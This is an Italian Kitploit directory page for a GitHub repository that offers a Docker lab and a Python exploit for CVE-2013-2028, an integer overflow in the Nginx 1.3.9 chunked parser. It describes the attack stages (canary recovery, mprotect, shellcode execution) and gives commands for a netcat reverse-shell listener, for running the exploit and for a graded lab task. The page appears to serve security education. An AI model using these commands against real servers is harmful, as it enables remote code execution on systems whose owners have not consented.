Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2013-2028-Exploit — Lab basato su Docker ed exploit Python per CVE-2013-2028, un integer overflow nel parser chunked di Nginx 1.3.9, che copre il recupero del canary, mprotect e l'esecuzione di shellcode. | Kitploit
Strumenti/GitHubGitHub/vanivamshi/cve-2013-2028-exploit
Analisi delle VulnerabilitàExploitShellcodeVirtualizzazione per la SicurezzaPenetration TestingApprendimento e FormazioneSviluppo PayloadBinary ExploitationLab e Pratica
GitHubvanivamshi/cve-2013-2028-exploit

CVE-2013-2028-Exploit

Lab basato su Docker ed exploit Python per CVE-2013-2028, un integer overflow nel parser chunked di Nginx 1.3.9, che copre il recupero del canary, mprotect e l'esecuzione di shellcode.

Vedi Repository
7h 58m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Exploit CVE-2013-2028

Dettagli della vulnerabilità

Software vulnerabile: Nginx 1.3.9

Funzione vulnerabile: ngx_http_parse_chunked

CVE-2013-2028 è una vulnerabilità di integer overflow nel parser della codifica di trasferimento chunked HTTP di Nginx. Nelle condizioni prese di mira da questo ambiente di laboratorio, la vulnerabilità può causare una corruzione della memoria e può essere utilizzata per influenzare il flusso di controllo.

Questo repository fornisce un ambiente isolato basato su Docker per studiare la vulnerabilità e riprodurre il flusso di lavoro di sfruttamento.

Dettagli dello sfruttamento

L'exploit completo è composto da quattro fasi principali:

  1. Recupero dello stack canary

    Recupera lo stack canary tramite probing byte per byte.

  2. Manipolazione delle protezioni di memoria

    Calcola le informazioni sull'indirizzo rilevanti e costruisce la sequenza di flusso di controllo necessaria per invocare mprotect sulla regione di memoria controllata.

  3. Posizionamento dello shellcode

    Copia il payload nella regione di memoria controllata.

  4. Trasferimento del flusso di controllo

Trasferisce l'esecuzione alla regione di memoria controllata.

L'exploit completo dimostra la progressione dall'attivazione del parser vulnerabile, attraverso la corruzione della memoria e la manipolazione del flusso di controllo, fino all'esecuzione di codice controllato.

Requisiti

  • Docker
  • Docker Compose
  • Python 3
  • Le dipendenze Python richieste da exploit.py
  • netcat per il listener utilizzato dal laboratorio completo

Come riprodurre

1. Avviare il listener

Sul sistema host, avviare un listener sulla porta configurata:

root@kitploit:~
nc -lvp 4345

Utilizzare la stessa porta con l'argomento --listenerport (-lp) quando si esegue l'exploit.

2. Avviare il container Nginx vulnerabile

Compilare e avviare l'ambiente Docker:

root@kitploit:~
sudo docker-compose up --build

Il target vulnerabile esegue Nginx 1.3.9 all'interno del container.

È possibile verificare la versione di Nginx con:

root@kitploit:~
docker-compose exec cve-2013-2028 /usr/local/nginx/sbin/nginx -v

3. Eseguire l'exploit completo

Eseguire:

root@kitploit:~
python3 exploit.py \
    -ra 127.0.0.1 \
    -rp 8081 \
    -la <listener-machine-address> \
    -lp <listener-machine-port>

L'exploit esegue le fasi di recupero del canary e di costruzione del payload prima di inviare il payload finale al target vulnerabile.

Se è disponibile un canary recuperato in precedenza, è possibile fornirlo tramite:

root@kitploit:~
python3 exploit.py \
    -ra 127.0.0.1 \
    -rp 8081 \
    -la <listener-machine-address> \
    -lp <listener-machine-port> \
    -c '<canary>'

4. Attività intermedia

Il repository fornisce anche un'attività intermedia per valutare i progressi nel flusso di lavoro di ricerca sulla vulnerabilità.

Eseguire:

root@kitploit:~
python3 intermediate_task.py \
    -ra 127.0.0.1 \
    -rp 8081 \
    -la <listener-machine-address> \
    -lp <listener-machine-port>

L'attività intermedia esegue i suoi controlli direttamente contro il target Docker in esecuzione. Non si basa su file di evidenza creati manualmente o su asserzioni JSON fornite manualmente.

L'attività verifica due aree:

Identificazione della vulnerabilità

L'attività:

  • Conferma che il container target è in esecuzione.
  • Rileva la versione di Nginx installata.
  • Determina se la versione rilevata corrisponde alla release vulnerabile di Nginx utilizzata dal laboratorio.

Validazione della configurazione

L'attività:

  • Conferma che il container Docker è in esecuzione.
  • Conferma che Nginx è in esecuzione.
  • Valida la configurazione di Nginx utilizzando nginx -t.

Il controllo della configurazione stabilisce che la configurazione di Nginx è sintatticamente valida. Non deve di per sé essere interpretato come prova che CVE-2013-2028 sia stata mitigata.

Output di esempio:

root@kitploit:~
============================================================
CVE-2013-2028 INTERMEDIATE TASK
============================================================

Target:
  nginx running:        True
  nginx version:        1.3.9
  vulnerable build:     True

Progress:
  [x] vulnerability_identified
  [x] configuration_validated

All required checks completed.
Exercise complete.

L'attività intermedia memorizza i risultati di questi controlli a runtime in:

root@kitploit:~
grader_state.json

Questo file viene utilizzato solo per persistere lo stato prodotto dai controlli. Non è la fonte della determinazione della vulnerabilità.

Target Docker

L'ambiente di laboratorio utilizza intenzionalmente Nginx 1.3.9, una vecchia release di Nginx affetta da CVE-2013-2028.

L'ambiente Docker fornisce un target isolato per la ricerca sulla vulnerabilità e gli esercizi di sfruttamento. Il servizio vulnerabile dovrebbe essere accessibile solo attraverso le interfacce esposte dalla configurazione del laboratorio.

Disclaimer

Questo repository è destinato esclusivamente a scopi educativi e di ricerca sulla sicurezza autorizzata in un ambiente di laboratorio isolato.

Non eseguire l'exploit contro sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione al test.

Scarica lo strumento